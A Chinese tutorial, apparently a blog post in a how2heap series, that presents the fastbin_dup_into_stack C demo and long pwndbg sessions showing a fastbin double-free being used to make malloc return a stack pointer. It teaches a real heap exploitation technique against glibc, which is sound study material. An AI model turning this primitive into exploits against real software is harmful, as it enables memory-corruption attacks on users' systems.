从零开始学howtoheap:fastbins的double-free攻击实操1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的double-free攻击

下面的程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。更具体地展示了上一个程序从零开始学howtoheap:理解fastbins的double-free攻击-CSDN博客所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

2.fastbin_dup_into_stack程序

​ 这个程序更具体地展示了上一个程序所介绍的技巧,通过欺骗malloc 来返回一个我们可控的区域的指针 (在这个例子中,我们可以返回一个栈指针)

​ 源码如下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main()
{fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");unsigned long long stack_var;fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);fprintf(stderr, "先申请3 个 chunk\n");char* a = malloc(8);strcpy(a, "AAAAAAAA");char* b = malloc(8);strcpy(b, "BBBBBBBB");char* c = malloc(8);strcpy(c, "CCCCCCCC");fprintf(stderr, "chunk a: %p\n", a);fprintf(stderr, "chunk b: %p\n", b);fprintf(stderr, "chunk c: %p\n", c);fprintf(stderr, "free 掉 chunk a\n");free(a);fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);// free(a);fprintf(stderr, "先对 b %p 进行 free\n", b);free(b);fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);free(a);fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "第一次 malloc(8): %p\n", d);char* e = malloc(8);strcpy(e, "EEEEEEEE");fprintf(stderr, "第二次 malloc(8): %p\n", e);fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);stack_var = 0x20;fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));char* f = malloc(8);strcpy(f, "FFFFFFFF");fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);char* g = malloc(8);strcpy(g, "GGGGGGGG");fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

3.调试fastbin_dup_into_stack

3.1 获得可执行程序 

gcc -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./fastbin_dup_into_stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./fastbin_dup_into_stack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunk
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
[Inferior 1 (process 147) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 下相应的断点并走起

三次malloc之后

pwndbg> b 20
Breakpoint 1 at 0x400786: file fastbin_dup_into_stack.c, line 20.
pwndbg> r
Starting program: /ctf/work/how2heap/fastbin_dup_into_stack 
这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
我们想通过 malloc 申请到 0x7fffffffe570.
先申请3 个 chunkBreakpoint 1, main () at fastbin_dup_into_stack.c:20
20          fprintf(stderr, "chunk a: %p\n", a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603050 ◂— 'CCCCCCCC'RBX  0x0RCX  0x4343434343434343 ('CCCCCCCC')RDX  0x603050 ◂— 'CCCCCCCC'RDI  0x0RSI  0x603060 ◂— 0x0R8   0x603000 ◂— 0x0R9   0xdR10  0x7ffff7dd1b78 (main_arena+88) —▸ 0x603060 ◂— 0x0R11  0x0R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400786 (main+224) ◂— 0x48002018d3058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400786 <main+224>    mov    rax, qword ptr [rip + 0x2018d3] <0x602060>0x40078d <main+231>    mov    rdx, qword ptr [rbp - 0x40]0x400791 <main+235>    mov    esi, 0x400b640x400796 <main+240>    mov    rdi, rax0x400799 <main+243>    mov    eax, 00x40079e <main+248>    call   fprintf@plt <0x400570>0x4007a3 <main+253>    mov    rax, qword ptr [rip + 0x2018b6] <0x602060>0x4007aa <main+260>    mov    rdx, qword ptr [rbp - 0x38]0x4007ae <main+264>    mov    esi, 0x400b710x4007b3 <main+269>    mov    rdi, rax0x4007b6 <main+272>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c15     char* b = malloc(8);16     strcpy(b, "BBBBBBBB");17     char* c = malloc(8);18     strcpy(c, "CCCCCCCC");19     ► 20     fprintf(stderr, "chunk a: %p\n", a);21     fprintf(stderr, "chunk b: %p\n", b);22     fprintf(stderr, "chunk c: %p\n", c);23 24     fprintf(stderr, "free 掉 chunk a\n");25     free(a);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 ◂— 'AAAAAAAA'
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'BBBBBBBB'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400786 main+224f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:20
pwndbg> parsehead
Undefined command: "parsehead".  Try "help".
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Used                None              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> head
Undefined command: "head".  Try "help".
pwndbg> heap
heapbase : 0x603000
pwndbg> x/20gx 0x603000                                                                                                                                                                                            
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x4141414141414141      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4242424242424242      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> 
3.3.2​ 三次 free 之后

可以看到由于 double free 造成的循环的指针。 

pwndbg> b 35
Breakpoint 2 at 0x40087a: file fastbin_dup_into_stack.c, line 35.
pwndbg> rpwndbg> c
Continuing.
chunk a: 0x603010
chunk b: 0x603030
chunk c: 0x603050
free 掉 chunk a
如果还对 0x603010 进行 free, 程序会崩溃。因为 0x603010 现在是 fastbin 的第一个
先对 b 0x603030 进行 free
接下来就可以对 0x603010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了Breakpoint 2, main () at fastbin_dup_into_stack.c:35
35          fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603020 ◂— 0x0RBX  0x0RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */RDX  0x603020 ◂— 0x0RDI  0xffffffffRSI  0x7ffff7dd1b28 (main_arena+8) —▸ 0x603000 ◂— 0x0R8   0x603010 —▸ 0x603020 ◂— 0x0R9   0x0R10  0xe4acace7849ae720R11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x40087a (main+468) ◂— 0x48002017df058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x40087a <main+468>    mov    rax, qword ptr [rip + 0x2017df] <0x602060>0x400881 <main+475>    mov    rdi, qword ptr [rbp - 0x40]0x400885 <main+479>    mov    rsi, qword ptr [rbp - 0x40]0x400889 <main+483>    mov    rcx, qword ptr [rbp - 0x38]0x40088d <main+487>    mov    rdx, qword ptr [rbp - 0x40]0x400891 <main+491>    mov    r9, rdi0x400894 <main+494>    mov    r8, rsi0x400897 <main+497>    mov    esi, 0x400c800x40089c <main+502>    mov    rdi, rax0x40089f <main+505>    mov    eax, 00x4008a4 <main+510>    call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c30     free(b);31 32     fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);33     free(a);34 ► 35     fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);36     unsigned long long *d = malloc(8);37 38     fprintf(stderr, "第一次 malloc(8): %p\n", d);39     char* e = malloc(8);40     strcpy(e, "EEEEEEEE");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x0
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40087a main+468f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:35
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed           0x603000              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x0000000000603000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
 3.3.3​ 这时候我们再去malloc两次

还剩一个指向chunk a的free chunk,而前面我们也申请到了指向它的 chunk d,可以通过它编辑chunk a的fd 指针,填充一个有意义的地址:栈地址减0x8(因为伪造的chunk要有个 size,size在&stack_var - 0x8的位置上)

​ *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

通过调试我们可以看到,地址为0x603000chunkfd指针指向的是栈上的地址,这样的话,malloc一次之后再次申请的时候就会申请到fd指针指向的0x7fffffffe560

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x62RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400973 main+717f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
49          char* f = malloc(8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx► 0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     ► 49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);53     strcpy(g, "GGGGGGGG");54     fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│          0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│          0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│          0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│          0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│          0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│          0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│          0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400985 main+735f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x00007fffffffe560      0x0000000000000000
0x603020:       0x0000000000000000      0x0000000000000021
0x603030:       0x4545454545454545      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x4343434343434343      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000020fa1
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed     0x7fffffffe560              None
0x603020            0x0                 0x20                 Used                None              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 

3.3.4  

最后可以看到我们已经分配栈上的内存,绕过fastbin的大小检查,并写入了数据GGGGGGGG。

pwndbg> b 47
Breakpoint 3 at 0x400973: file fastbin_dup_into_stack.c, line 47.
pwndbg> c
Continuing.
现在 fastbin 的链表是 [ 0x603010, 0x603030, 0x603010 ] 接下来通过修改 0x603010 上的内容来进行攻击.
第一次 malloc(8): 0x603010
第二次 malloc(8): 0x603030
现在 fastbin 表中只剩 [ 0x603010 ] 了
接下来往 0x603010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x603010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置Breakpoint 3, main () at fastbin_dup_into_stack.c:47
47          *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x62RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x62R10  0x32783020a29de98dR11  0x246R12  0x4005b0 (_start) ◂— 0x89485ed18949ed31R13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741RSP  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0RIP  0x400973 (main+717) ◂— 0x8e88348b8458d48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400973 <main+717>    lea    rax, [rbp - 0x48]0x400977 <main+721>    sub    rax, 80x40097b <main+725>    mov    rdx, rax0x40097e <main+728>    mov    rax, qword ptr [rbp - 0x28]0x400982 <main+732>    mov    qword ptr [rax], rdx0x400985 <main+735>    mov    edi, 80x40098a <main+740>    call   malloc@plt <0x400580>0x40098f <main+745>    mov    qword ptr [rbp - 0x18], rax0x400993 <main+749>    mov    rax, qword ptr [rbp - 0x18]0x400997 <main+753>    movabs rcx, 0x46464646464646460x4009a1 <main+763>    mov    qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c42     fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);43     fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);44     stack_var = 0x20;45 46     fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);► 47     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));48     49     char* f = malloc(8);50     strcpy(f, "FFFFFFFF");51     fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);52     char* g = malloc(8);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│      0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffe570 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
03:0018│      0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│      0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│      0x7fffffffe588 —▸ 0x603010 —▸ 0x603020 ◂— 0x0
06:0030│      0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│      0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400973 main+717f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:47
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x20                 Freed           0x603020              None
0x603020            0x0                 0x20                 Freed 0x4545454545454545              None
0x603040            0x0                 0x20                 Used                None              None
pwndbg> x/20gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603020      0x0000000000000000
